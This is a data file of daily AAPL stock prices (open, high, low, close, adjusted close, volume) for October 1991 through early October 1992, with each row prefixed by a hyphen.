-1991-10-15,1.8035714626312256,1.875,1.7857142686843872,1.875,1.5538241863250732,72052400.0,AAPL
-1991-10-16,1.875,1.9285714626312256,1.8660714626312256,1.9107142686843872,1.5834208726882935,50218000.0,AAPL
-1991-10-17,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8705357313156128,1.5501251220703125,37903600.0,AAPL
-1991-10-18,1.96875,1.9821428060531616,1.9464285373687744,1.9642857313156128,1.6278164386749268,111739600.0,AAPL
-1991-10-21,1.9732142686843872,1.9955357313156128,1.9375,1.9553571939468384,1.6204169988632202,29173200.0,AAPL
-1991-10-22,1.9821428060531616,2.0089285373687744,1.9464285373687744,1.9464285373687744,1.6130177974700928,52052000.0,AAPL
-1991-10-23,1.9642857313156128,1.9732142686843872,1.8839285373687744,1.8973214626312256,1.5723226070404053,42207200.0,AAPL
-1991-10-24,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8616071939468384,1.5427260398864746,44475200.0,AAPL
-1991-10-25,1.8482142686843872,1.8660714626312256,1.8125,1.8303571939468384,1.5168287754058838,26742800.0,AAPL
-1991-10-28,1.8392857313156128,1.8482142686843872,1.8125,1.8392857313156128,1.524227499961853,19465600.0,AAPL
-1991-10-29,1.8392857313156128,1.8571428060531616,1.8125,1.8482142686843872,1.5316269397735596,25309200.0,AAPL
-1991-10-30,1.8571428060531616,1.8839285373687744,1.7678571939468384,1.7767857313156128,1.4724335670471191,37060800.0,AAPL
-1991-10-31,1.8125,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.524227499961853,57951600.0,AAPL
-1991-11-01,1.8303571939468384,1.8571428060531616,1.8035714626312256,1.8214285373687744,1.5094293355941772,50316000.0,AAPL
-1991-11-04,1.8125,1.8125,1.7321428060531616,1.7767857313156128,1.4724335670471191,48823600.0,AAPL
-1991-11-05,1.7767857313156128,1.8035714626312256,1.7410714626312256,1.7410714626312256,1.4428369998931885,53900000.0,AAPL
-1991-11-06,1.75,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.420639157295227,59197600.0,AAPL
-1991-11-07,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7767857313156128,1.4724335670471191,74183200.0,AAPL
-1991-11-08,1.8303571939468384,1.9196428060531616,1.8214285373687744,1.9017857313156128,1.5760220289230347,93956800.0,AAPL
-1991-11-11,1.9107142686843872,1.9464285373687744,1.9017857313156128,1.9196428060531616,1.5908201932907104,41235600.0,AAPL
-1991-11-12,1.9375,1.9553571939468384,1.9196428060531616,1.9464285373687744,1.6130177974700928,41672400.0,AAPL
-1991-11-13,1.9285714626312256,1.9464285373687744,1.9107142686843872,1.9330357313156128,1.6019188165664673,46480000.0,AAPL
-1991-11-14,1.9375,1.9732142686843872,1.9285714626312256,1.9553571939468384,1.6204169988632202,47000800.0,AAPL
-1991-11-15,1.9464285373687744,1.9553571939468384,1.7767857313156128,1.7857142686843872,1.4798331260681152,64237600.0,AAPL
-1991-11-18,1.7857142686843872,1.875,1.7857142686843872,1.8616071939468384,1.5464413166046143,59684800.0,AAPL
-1991-11-19,1.8482142686843872,1.8482142686843872,1.7767857313156128,1.8303571939468384,1.520481824874878,71372000.0,AAPL
-1991-11-20,1.8303571939468384,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.498230218887329,42025200.0,AAPL
-1991-11-21,1.8035714626312256,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.5130645036697388,26703600.0,AAPL
-1991-11-22,1.8214285373687744,1.8482142686843872,1.7946428060531616,1.8303571939468384,1.520481824874878,24460800.0,AAPL
-1991-11-25,1.8214285373687744,1.8660714626312256,1.8214285373687744,1.8303571939468384,1.520481824874878,19608400.0,AAPL
-1991-11-26,1.8392857313156128,1.8571428060531616,1.7857142686843872,1.8392857313156128,1.5278984308242798,34818000.0,AAPL
-1991-11-27,1.8303571939468384,1.8392857313156128,1.8035714626312256,1.8214285373687744,1.5130645036697388,15808800.0,AAPL
-1991-11-29,1.8035714626312256,1.8392857313156128,1.8035714626312256,1.8125,1.505647897720337,8523200.0,AAPL
-1991-12-02,1.8125,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5353152751922607,29724800.0,AAPL
-1991-12-03,1.8571428060531616,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.498230218887329,25715200.0,AAPL
-1991-12-04,1.8125,1.8125,1.7857142686843872,1.8035714626312256,1.498230218887329,20137600.0,AAPL
-1991-12-05,1.8035714626312256,1.8214285373687744,1.7589285373687744,1.7857142686843872,1.4833967685699463,24799600.0,AAPL
-1991-12-06,1.7678571939468384,1.7767857313156128,1.7321428060531616,1.7410714626312256,1.4463117122650146,49246400.0,AAPL
-1991-12-09,1.75,1.7857142686843872,1.7410714626312256,1.7544642686843872,1.4574371576309204,24458000.0,AAPL
-1991-12-10,1.75,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4574371576309204,30654400.0,AAPL
-1991-12-11,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.4537287950515747,21140000.0,AAPL
-1991-12-12,1.7633928060531616,1.7767857313156128,1.75,1.7633928060531616,1.4648540019989014,22937600.0,AAPL
-1991-12-13,1.7767857313156128,1.8125,1.7767857313156128,1.7991071939468384,1.4945217370986938,23780400.0,AAPL
-1991-12-16,1.7991071939468384,1.8125,1.7857142686843872,1.8035714626312256,1.498230218887329,19297600.0,AAPL
-1991-12-17,1.8035714626312256,1.8214285373687744,1.7946428060531616,1.8035714626312256,1.498230218887329,24460800.0,AAPL
-1991-12-18,1.7946428060531616,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5353152751922607,46650800.0,AAPL
-1991-12-19,1.8303571939468384,1.8482142686843872,1.8125,1.8125,1.505647897720337,28831600.0,AAPL
-1991-12-20,1.8303571939468384,1.8392857313156128,1.7946428060531616,1.7946428060531616,1.4908134937286377,32046000.0,AAPL
-1991-12-23,1.8035714626312256,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.5278984308242798,25790800.0,AAPL
-1991-12-24,1.8571428060531616,1.9196428060531616,1.8482142686843872,1.8660714626312256,1.5501493215560913,47140800.0,AAPL
-1991-12-26,1.8839285373687744,1.9642857313156128,1.8660714626312256,1.9598214626312256,1.6280274391174316,33625200.0,AAPL
-1991-12-27,1.9553571939468384,1.9910714626312256,1.9464285373687744,1.9642857313156128,1.631736397743225,41935600.0,AAPL
-1991-12-30,1.9642857313156128,2.044642925262451,1.9642857313156128,2.0267856121063232,1.6836551427841187,45911600.0,AAPL
-1991-12-31,2.049107074737549,2.0714285373687744,2.0,2.013392925262451,1.672529697418213,33507600.0,AAPL
-1992-01-02,1.9910714626312256,2.1339285373687744,1.9821428060531616,2.125,1.7652422189712524,58408000.0,AAPL
-1992-01-03,2.142857074737549,2.1517856121063232,2.080357074737549,2.107142925262451,1.7504079341888428,47563600.0,AAPL
-1992-01-06,2.0982143878936768,2.107142925262451,2.0625,2.0714285373687744,1.7207399606704712,28560000.0,AAPL
-1992-01-07,2.0535714626312256,2.125,2.0535714626312256,2.111607074737549,1.754116415977478,35366800.0,AAPL
-1992-01-08,2.0892856121063232,2.1875,2.0892856121063232,2.1607143878936768,1.794910192489624,58186800.0,AAPL
-1992-01-09,2.1607143878936768,2.2232143878936768,2.1517856121063232,2.2232143878936768,1.846828818321228,52127600.0,AAPL
-1992-01-10,2.1964285373687744,2.232142925262451,2.1785714626312256,2.2232143878936768,1.846828818321228,49056000.0,AAPL
-1992-01-13,2.2232143878936768,2.2410714626312256,2.1964285373687744,2.2142856121063232,1.8394116163253784,26964000.0,AAPL
-1992-01-14,2.2232143878936768,2.3125,2.2232143878936768,2.3035714626312256,1.9135818481445312,68451600.0,AAPL
-1992-01-15,2.3035714626312256,2.3214285373687744,2.25,2.267857074737549,1.8839130401611328,81435200.0,AAPL
-1992-01-16,2.2767856121063232,2.294642925262451,2.232142925262451,2.2410714626312256,1.8616628646850586,73382400.0,AAPL
-1992-01-17,2.419642925262451,2.4642856121063232,2.3125,2.3125,1.9209989309310913,212088800.0,AAPL
-1992-01-20,2.3035714626312256,2.330357074737549,2.2857143878936768,2.2857143878936768,1.8987482786178589,52416000.0,AAPL
-1992-01-21,2.294642925262451,2.294642925262451,2.1785714626312256,2.1830356121063232,1.8134524822235107,48521200.0,AAPL
-1992-01-22,2.1964285373687744,2.2767856121063232,2.1875,2.267857074737549,1.8839130401611328,45920000.0,AAPL
-1992-01-23,2.294642925262451,2.3125,2.25,2.3035714626312256,1.9135818481445312,34588400.0,AAPL
-1992-01-24,2.3035714626312256,2.3482143878936768,2.2857143878936768,2.3080356121063232,1.9172900915145874,44402400.0,AAPL
-1992-01-27,2.3125,2.330357074737549,2.294642925262451,2.3035714626312256,1.9135818481445312,20862800.0,AAPL
-1992-01-28,2.3125,2.3348214626312256,2.25,2.330357074737549,1.9358322620391846,43430800.0,AAPL
-1992-01-29,2.3125,2.3482143878936768,2.2589285373687744,2.2589285373687744,1.8764972686767578,36139600.0,AAPL
-1992-01-30,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2767856121063232,1.8913302421569824,21778400.0,AAPL
-1992-01-31,2.2857143878936768,2.330357074737549,2.267857074737549,2.3125,1.9209989309310913,36139600.0,AAPL
-1992-02-03,2.3125,2.3660714626312256,2.3035714626312256,2.3482143878936768,1.9506666660308838,39533200.0,AAPL
-1992-02-04,2.3482143878936768,2.3660714626312256,2.3214285373687744,2.3482143878936768,1.9506666660308838,48232800.0,AAPL
-1992-02-05,2.3660714626312256,2.3839285373687744,2.325892925262451,2.361607074737549,1.9617923498153687,40376000.0,AAPL
-1992-02-06,2.3482143878936768,2.357142925262451,2.2857143878936768,2.2901785373687744,1.9024558067321777,23284800.0,AAPL
-1992-02-07,2.294642925262451,2.3125,2.2410714626312256,2.2857143878936768,1.8987482786178589,36884400.0,AAPL
-1992-02-10,2.2857143878936768,2.294642925262451,2.25,2.2544643878936768,1.8727883100509644,21610400.0,AAPL
-1992-02-11,2.25,2.2767856121063232,2.2232143878936768,2.2455356121063232,1.8653706312179565,30503200.0,AAPL
-1992-02-12,2.2767856121063232,2.3392856121063232,2.25,2.330357074737549,1.9358322620391846,34490400.0,AAPL
-1992-02-13,2.330357074737549,2.330357074737549,2.2767856121063232,2.294642925262451,1.9061638116836548,19003600.0,AAPL
-1992-02-14,2.2767856121063232,2.294642925262451,2.2589285373687744,2.2901785373687744,1.9060192108154297,18146800.0,AAPL
-1992-02-18,2.294642925262451,2.3035714626312256,2.2410714626312256,2.2410714626312256,1.8651493787765503,17088400.0,AAPL
-1992-02-19,2.2410714626312256,2.25,2.205357074737549,2.2142856121063232,1.842857003211975,23917600.0,AAPL
-1992-02-20,2.232142925262451,2.3125,2.2232143878936768,2.3080356121063232,1.9208813905715942,32715200.0,AAPL
-1992-02-21,2.3125,2.3392856121063232,2.3035714626312256,2.3214285373687744,1.9320279359817505,37895200.0,AAPL
-1992-02-24,2.3660714626312256,2.375,2.3482143878936768,2.361607074737549,1.9654666185379028,42851200.0,AAPL
-1992-02-25,2.3660714626312256,2.4464285373687744,2.330357074737549,2.4464285373687744,2.0360591411590576,56803600.0,AAPL
-1992-02-26,2.4375,2.5,2.4375,2.4955356121063232,2.076930046081543,57271200.0,AAPL
-1992-02-27,2.5,2.5,2.4285714626312256,2.4464285373687744,2.0360591411590576,30542400.0,AAPL
-1992-02-28,2.4464285373687744,2.4642856121063232,2.392857074737549,2.4107143878936768,2.0063369274139404,22598800.0,AAPL
-1992-03-02,2.419642925262451,2.4464285373687744,2.4017856121063232,2.4017856121063232,1.9989062547683716,22313200.0,AAPL
-1992-03-03,2.419642925262451,2.4285714626312256,2.3660714626312256,2.3705356121063232,1.9728975296020508,24819200.0,AAPL
-1992-03-04,2.3660714626312256,2.3839285373687744,2.3125,2.3214285373687744,1.9320279359817505,28842800.0,AAPL
-1992-03-05,2.3035714626312256,2.3392856121063232,2.25,2.267857074737549,1.887441873550415,59180800.0,AAPL
-1992-03-06,2.267857074737549,2.2857143878936768,2.25,2.2857143878936768,1.9023045301437378,33572000.0,AAPL
-1992-03-09,2.2767856121063232,2.294642925262451,2.267857074737549,2.2767856121063232,1.894872784614563,27235600.0,AAPL
-1992-03-10,2.2857143878936768,2.3125,2.2767856121063232,2.2767856121063232,1.894872784614563,30674000.0,AAPL
-1992-03-11,2.2767856121063232,2.294642925262451,2.25,2.2589285373687744,1.880012035369873,32914000.0,AAPL
-1992-03-12,2.2589285373687744,2.2767856121063232,2.1964285373687744,2.2410714626312256,1.8651493787765503,38225600.0,AAPL
-1992-03-13,2.2589285373687744,2.2767856121063232,2.2142856121063232,2.2544643878936768,1.8762961626052856,19796000.0,AAPL
-1992-03-16,2.2410714626312256,2.267857074737549,2.205357074737549,2.263392925262451,1.8837271928787231,14072800.0,AAPL
-1992-03-17,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2455356121063232,1.86886465549469,21274400.0,AAPL
-1992-03-18,2.2589285373687744,2.2857143878936768,2.25,2.2767856121063232,1.894872784614563,20258000.0,AAPL
-1992-03-19,2.2767856121063232,2.2767856121063232,2.2410714626312256,2.25,1.872580647468567,29629600.0,AAPL
-1992-03-20,2.25,2.2589285373687744,2.25,2.2589285373687744,1.880012035369873,13540800.0,AAPL
-1992-03-23,2.25,2.2767856121063232,2.25,2.25,1.872580647468567,12518800.0,AAPL
-1992-03-24,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3214285373687744,1.9320279359817505,52354400.0,AAPL
-1992-03-25,2.3214285373687744,2.3214285373687744,2.294642925262451,2.3035714626312256,1.9171658754348755,30388400.0,AAPL
-1992-03-26,2.3125,2.330357074737549,2.2767856121063232,2.2857143878936768,1.9023045301437378,30755200.0,AAPL
-1992-03-27,2.28125,2.2857143878936768,2.1607143878936768,2.1785714626312256,1.8131332397460938,66133200.0,AAPL
-1992-03-30,2.1875,2.1875,2.0625,2.075892925262451,1.7276785373687744,84758800.0,AAPL
-1992-03-31,2.080357074737549,2.1339285373687744,2.0714285373687744,2.080357074737549,1.7313940525054932,53158000.0,AAPL
-1992-04-01,2.044642925262451,2.1160714626312256,2.044642925262451,2.107142925262451,1.7536866664886475,39914000.0,AAPL
-1992-04-02,2.107142925262451,2.125,2.0848214626312256,2.0982143878936768,1.74625563621521,33493600.0,AAPL
-1992-04-03,2.0982143878936768,2.1160714626312256,2.0892856121063232,2.107142925262451,1.7536866664886475,29114400.0,AAPL
-1992-04-06,2.107142925262451,2.1785714626312256,2.107142925262451,2.169642925262451,1.8057023286819458,25496800.0,AAPL
-1992-04-07,2.1785714626312256,2.1875,2.044642925262451,2.044642925262451,1.7016704082489014,57554000.0,AAPL
-1992-04-08,2.0357143878936768,2.0357143878936768,1.9553571939468384,1.9955357313156128,1.6608004570007324,91756000.0,AAPL
-1992-04-09,2.0,2.080357074737549,1.9732142686843872,2.044642925262451,1.7016704082489014,48034000.0,AAPL
-1992-04-10,2.044642925262451,2.0535714626312256,1.9642857313156128,1.9821428060531616,1.649654507637024,68516000.0,AAPL
-1992-04-13,1.9821428060531616,2.0267856121063232,1.9732142686843872,2.017857074737549,1.679377794265747,30707600.0,AAPL
-1992-04-14,2.0625,2.1160714626312256,2.044642925262451,2.0982143878936768,1.74625563621521,36100400.0,AAPL
-1992-04-15,2.0714285373687744,2.174107074737549,2.0535714626312256,2.1607143878936768,1.7982724905014038,54339600.0,AAPL
-1992-04-16,2.1517856121063232,2.169642925262451,2.0892856121063232,2.107142925262451,1.7536866664886475,64671600.0,AAPL
-1992-04-20,2.107142925262451,2.107142925262451,2.0,2.0267856121063232,1.686808705329895,51511600.0,AAPL
-1992-04-21,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6719471216201782,45091200.0,AAPL
-1992-04-22,2.0089285373687744,2.0714285373687744,2.0089285373687744,2.0580356121063232,1.7128173112869263,42882000.0,AAPL
-1992-04-23,2.0535714626312256,2.080357074737549,2.0,2.0357143878936768,1.694239616394043,45704400.0,AAPL
-1992-04-24,2.0357143878936768,2.080357074737549,2.0,2.017857074737549,1.679377794265747,24570000.0,AAPL
-1992-04-27,2.0,2.0089285373687744,1.9642857313156128,1.9910714626312256,1.6570849418640137,35067200.0,AAPL
-1992-04-28,1.9732142686843872,1.9910714626312256,1.8928571939468384,1.9375,1.6125001907348633,43531600.0,AAPL
-1992-04-29,1.9375,2.0357143878936768,1.9375,2.0357143878936768,1.694239616394043,49725200.0,AAPL
-1992-04-30,2.044642925262451,2.1517856121063232,2.017857074737549,2.1473214626312256,1.7871253490447998,65066400.0,AAPL
-1992-05-01,2.142857074737549,2.169642925262451,2.080357074737549,2.1160714626312256,1.7611169815063477,33594400.0,AAPL
-1992-05-04,2.125,2.1875,2.1160714626312256,2.1607143878936768,1.7982724905014038,30808400.0,AAPL
-1992-05-05,2.1607143878936768,2.1651785373687744,2.125,2.1607143878936768,1.7982724905014038,45021200.0,AAPL
-1992-05-06,2.169642925262451,2.21875,2.1607143878936768,2.205357074737549,1.8354259729385376,44497600.0,AAPL
-1992-05-07,2.1964285373687744,2.2232143878936768,2.1607143878936768,2.169642925262451,1.8057023286819458,43089200.0,AAPL
-1992-05-08,2.1964285373687744,2.2455356121063232,2.1785714626312256,2.2142856121063232,1.842857003211975,49674800.0,AAPL
-1992-05-11,2.2142856121063232,2.2410714626312256,2.1964285373687744,2.2232143878936768,1.8502880334854126,22724800.0,AAPL
-1992-05-12,2.2232143878936768,2.25,2.205357074737549,2.2232143878936768,1.8502880334854126,19261200.0,AAPL
-1992-05-13,2.232142925262451,2.2589285373687744,2.2232143878936768,2.2410714626312256,1.8651493787765503,24368400.0,AAPL
-1992-05-14,2.2410714626312256,2.25,2.1517856121063232,2.1919643878936768,1.824280023574829,39230800.0,AAPL
-1992-05-15,2.1785714626312256,2.1875,2.1607143878936768,2.1651785373687744,1.801986813545227,30326800.0,AAPL
-1992-05-18,2.1964285373687744,2.1964285373687744,2.142857074737549,2.15625,1.794556975364685,32272800.0,AAPL
-1992-05-19,2.169642925262451,2.169642925262451,2.107142925262451,2.1205356121063232,1.7648324966430664,32919600.0,AAPL
-1992-05-20,2.1339285373687744,2.1517856121063232,2.1160714626312256,2.142857074737549,1.7834103107452393,43302000.0,AAPL
-1992-05-21,2.1517856121063232,2.1517856121063232,2.0982143878936768,2.111607074737549,1.757401943206787,34423200.0,AAPL
-1992-05-22,2.107142925262451,2.1339285373687744,2.107142925262451,2.125,1.768548607826233,11617200.0,AAPL
-1992-05-26,2.125,2.1339285373687744,2.0982143878936768,2.1160714626312256,1.7611169815063477,23903600.0,AAPL
-1992-05-27,2.1160714626312256,2.1517856121063232,2.107142925262451,2.1517856121063232,1.790840983390808,38522400.0,AAPL
-1992-05-28,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.768548607826233,31810800.0,AAPL
-1992-05-29,2.1339285373687744,2.1651785373687744,2.125,2.1339285373687744,1.7759791612625122,44562000.0,AAPL
-1992-06-01,2.044642925262451,2.125,2.0,2.0535714626312256,1.712544322013855,62011600.0,AAPL
-1992-06-02,2.0535714626312256,2.0535714626312256,2.0089285373687744,2.017857074737549,1.6827607154846191,38920000.0,AAPL
-1992-06-03,2.017857074737549,2.017857074737549,1.9285714626312256,1.9330357313156128,1.6120253801345825,75143600.0,AAPL
-1992-06-04,1.9375,1.9553571939468384,1.9107142686843872,1.9464285373687744,1.6231939792633057,45038000.0,AAPL
-1992-06-05,1.9553571939468384,1.9732142686843872,1.9375,1.9598214626312256,1.634362816810608,28182000.0,AAPL
-1992-06-08,1.9642857313156128,1.9642857313156128,1.9285714626312256,1.9375,1.6157485246658325,26084800.0,AAPL
-1992-06-09,1.9375,1.9375,1.9107142686843872,1.9285714626312256,1.608302354812622,25320400.0,AAPL
-1992-06-10,1.9285714626312256,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.6008564233779907,31651200.0,AAPL
-1992-06-11,1.9196428060531616,1.9375,1.9107142686843872,1.9241071939468384,1.604579210281372,35128800.0,AAPL
-1992-06-12,1.9464285373687744,1.9642857313156128,1.9375,1.9508928060531616,1.6269168853759766,24127600.0,AAPL
-1992-06-15,1.9285714626312256,1.9285714626312256,1.875,1.8794642686843872,1.5673503875732422,47297600.0,AAPL
-1992-06-16,1.8482142686843872,1.8571428060531616,1.7410714626312256,1.7589285373687744,1.466831088066101,91338800.0,AAPL
-1992-06-17,1.75,1.7589285373687744,1.6785714626312256,1.6964285373687744,1.4147104024887085,76062000.0,AAPL
-1992-06-18,1.6964285373687744,1.75,1.5982142686843872,1.6160714626312256,1.3476977348327637,108430000.0,AAPL
-1992-06-19,1.6428571939468384,1.6428571939468384,1.5625,1.5982142686843872,1.3328062295913696,106859200.0,AAPL
-1992-06-22,1.5714285373687744,1.5982142686843872,1.5267857313156128,1.5803571939468384,1.3179144859313965,97484800.0,AAPL
-1992-06-23,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.3476977348327637,77887600.0,AAPL
-1992-06-24,1.625,1.6428571939468384,1.6160714626312256,1.6428571939468384,1.3700355291366577,52766000.0,AAPL
-1992-06-25,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6294642686843872,1.3588663339614868,40152000.0,AAPL
-1992-06-26,1.6339285373687744,1.6428571939468384,1.5892857313156128,1.6160714626312256,1.3476977348327637,27591200.0,AAPL
-1992-06-29,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6696428060531616,1.392372488975525,47107200.0,AAPL
-1992-06-30,1.6696428060531616,1.7232142686843872,1.6607142686843872,1.7142857313156128,1.429602026939392,48336400.0,AAPL
-1992-07-01,1.7142857313156128,1.7678571939468384,1.7053571939468384,1.75,1.4593855142593384,35882000.0,AAPL
-1992-07-02,1.75,1.75,1.6339285373687744,1.6517857313156128,1.3774813413619995,64162000.0,AAPL
-1992-07-06,1.6607142686843872,1.6696428060531616,1.625,1.6517857313156128,1.3774813413619995,30500400.0,AAPL
-1992-07-07,1.6517857313156128,1.6517857313156128,1.5535714626312256,1.5803571939468384,1.3179144859313965,51772000.0,AAPL
-1992-07-08,1.5714285373687744,1.6339285373687744,1.5714285373687744,1.6339285373687744,1.3625898361206055,48988800.0,AAPL
-1992-07-09,1.6428571939468384,1.6607142686843872,1.6339285373687744,1.6383928060531616,1.3663126230239868,41448400.0,AAPL
-1992-07-10,1.6428571939468384,1.6517857313156128,1.6026785373687744,1.6339285373687744,1.3625898361206055,35949200.0,AAPL
-1992-07-13,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6785714626312256,1.3998184204101562,31390800.0,AAPL
-1992-07-14,1.6785714626312256,1.7142857313156128,1.6785714626312256,1.6964285373687744,1.4147104024887085,31497200.0,AAPL
-1992-07-15,1.6964285373687744,1.75,1.6875,1.7142857313156128,1.429602026939392,43615600.0,AAPL
-1992-07-16,1.7053571939468384,1.75,1.6875,1.7410714626312256,1.4519398212432861,34949600.0,AAPL
-1992-07-17,1.6071428060531616,1.6428571939468384,1.59375,1.6071428060531616,1.3402522802352905,105910000.0,AAPL
-1992-07-20,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.5982142686843872,1.3328062295913696,48031200.0,AAPL
-1992-07-21,1.625,1.6517857313156128,1.6071428060531616,1.6339285373687744,1.3625898361206055,32986800.0,AAPL
-1992-07-22,1.6160714626312256,1.625,1.5714285373687744,1.5803571939468384,1.3179144859313965,40493600.0,AAPL
-1992-07-23,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.3328062295913696,42879200.0,AAPL
-1992-07-24,1.5892857313156128,1.6517857313156128,1.5714285373687744,1.6383928060531616,1.3663126230239868,33742800.0,AAPL
-1992-07-27,1.6339285373687744,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.3476977348327637,599200.0,AAPL
-1992-07-28,1.625,1.6607142686843872,1.6160714626312256,1.6607142686843872,1.3849269151687622,33560800.0,AAPL
-1992-07-29,1.6651785373687744,1.7053571939468384,1.6607142686843872,1.6875,1.4072647094726562,62692000.0,AAPL
-1992-07-30,1.6875,1.6964285373687744,1.6696428060531616,1.6875,1.4072647094726562,34473600.0,AAPL
-1992-07-31,1.6875,1.6964285373687744,1.6696428060531616,1.6696428060531616,1.392372488975525,22677200.0,AAPL
-1992-08-03,1.6696428060531616,1.6875,1.625,1.6339285373687744,1.3625898361206055,17136000.0,AAPL
-1992-08-04,1.6071428060531616,1.6339285373687744,1.5982142686843872,1.625,1.3551437854766846,29929200.0,AAPL
-1992-08-05,1.625,1.625,1.5892857313156128,1.5982142686843872,1.3328062295913696,34815200.0,AAPL
-1992-08-06,1.5803571939468384,1.5892857313156128,1.5267857313156128,1.5714285373687744,1.3104684352874756,64492400.0,AAPL
-1992-08-07,1.5,1.5625,1.4821428060531616,1.5491071939468384,1.2918541431427002,54790400.0,AAPL
-1992-08-10,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5758928060531616,1.314191460609436,22862000.0,AAPL
-1992-08-11,1.5892857313156128,1.5892857313156128,1.5357142686843872,1.5535714626312256,1.2955764532089233,30326800.0,AAPL
-1992-08-12,1.5625,1.5803571939468384,1.5446428060531616,1.5758928060531616,1.314191460609436,30346400.0,AAPL
-1992-08-13,1.5892857313156128,1.625,1.5803571939468384,1.5982142686843872,1.3328062295913696,42747600.0,AAPL
-1992-08-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.3328062295913696,34025600.0,AAPL
-1992-08-17,1.5803571939468384,1.5982142686843872,1.5625,1.5982142686843872,1.3363933563232422,32177600.0,AAPL
-1992-08-18,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.3363933563232422,28078400.0,AAPL
-1992-08-19,1.59375,1.6160714626312256,1.5892857313156128,1.5892857313156128,1.3289273977279663,42635600.0,AAPL
-1992-08-20,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.3363933563232422,27227200.0,AAPL
-1992-08-21,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.59375,1.3326605558395386,27367200.0,AAPL
-1992-08-24,1.5803571939468384,1.5982142686843872,1.5446428060531616,1.5446428060531616,1.2915983200073242,38043600.0,AAPL
-1992-08-25,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5848214626312256,1.3251947164535522,33090400.0,AAPL
-1992-08-26,1.5803571939468384,1.5892857313156128,1.5446428060531616,1.5803571939468384,1.3214614391326904,30265200.0,AAPL
-1992-08-27,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5892857313156128,1.3289273977279663,20686400.0,AAPL
-1992-08-28,1.5803571939468384,1.6160714626312256,1.5714285373687744,1.6071428060531616,1.3438591957092285,15310400.0,AAPL
-1992-08-31,1.6071428060531616,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3737229108810425,30279200.0,AAPL
-1992-09-01,1.6517857313156128,1.6607142686843872,1.6339285373687744,1.6607142686843872,1.3886544704437256,15072400.0,AAPL
-1992-09-02,1.6607142686843872,1.7410714626312256,1.6607142686843872,1.7321428060531616,1.448380947113037,47474000.0,AAPL
-1992-09-03,1.75,1.7589285373687744,1.7053571939468384,1.7053571939468384,1.4259839057922363,52964800.0,AAPL
-1992-09-04,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4110525846481323,15808800.0,AAPL
-1992-09-08,1.6696428060531616,1.7142857313156128,1.6607142686843872,1.7053571939468384,1.4259839057922363,17500000.0,AAPL
-1992-09-09,1.7142857313156128,1.7589285373687744,1.7053571939468384,1.75,1.4633135795593262,39300800.0,AAPL
-1992-09-10,1.7142857313156128,1.7678571939468384,1.6964285373687744,1.7589285373687744,1.4707789421081543,57044400.0,AAPL
-1992-09-11,1.75,1.7589285373687744,1.6964285373687744,1.7008928060531616,1.4222508668899536,44970800.0,AAPL
-1992-09-14,1.75,1.7857142686843872,1.7321428060531616,1.7678571939468384,1.4782453775405884,53670400.0,AAPL
-1992-09-15,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7232142686843872,1.4409160614013672,54630800.0,AAPL
-1992-09-16,1.7053571939468384,1.7232142686843872,1.6607142686843872,1.6785714626312256,1.4035861492156982,44679600.0,AAPL
-1992-09-17,1.6875,1.6875,1.6205357313156128,1.6428571939468384,1.3737229108810425,43108800.0,AAPL
-1992-09-18,1.6339285373687744,1.6741071939468384,1.6160714626312256,1.6607142686843872,1.3886544704437256,28901600.0,AAPL
-1992-09-21,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.3886544704437256,22419600.0,AAPL
-1992-09-22,1.6696428060531616,1.6696428060531616,1.6160714626312256,1.6339285373687744,1.3662570714950562,27885200.0,AAPL
-1992-09-23,1.6428571939468384,1.6964285373687744,1.625,1.6964285373687744,1.418517827987671,30993200.0,AAPL
-1992-09-24,1.6875,1.7053571939468384,1.6517857313156128,1.6517857313156128,1.3811888694763184,31413200.0,AAPL
-1992-09-25,1.6517857313156128,1.6607142686843872,1.6160714626312256,1.625,1.3587909936904907,34367200.0,AAPL
-1992-09-28,1.6071428060531616,1.6071428060531616,1.5625,1.5982142686843872,1.3363933563232422,37380000.0,AAPL
-1992-09-29,1.5892857313156128,1.625,1.5714285373687744,1.6026785373687744,1.340126395225525,39317600.0,AAPL
-1992-09-30,1.6071428060531616,1.625,1.5892857313156128,1.6116071939468384,1.3475921154022217,25012400.0,AAPL
-1992-10-01,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5803571939468384,1.3214614391326904,30682400.0,AAPL
-1992-10-02,1.5892857313156128,1.5982142686843872,1.5357142686843872,1.5625,1.3065297603607178,28386400.0,AAPL
-1992-10-05,1.5446428060531616,1.5625,1.4821428060531616,1.5535714626312256,1.2990635633468628,66239600.0,AAPL
-1992-10-06,1.5625,1.6071428060531616,1.5267857313156128,1.5982142686843872,1.3363933563232422,28361200.0,AAPL
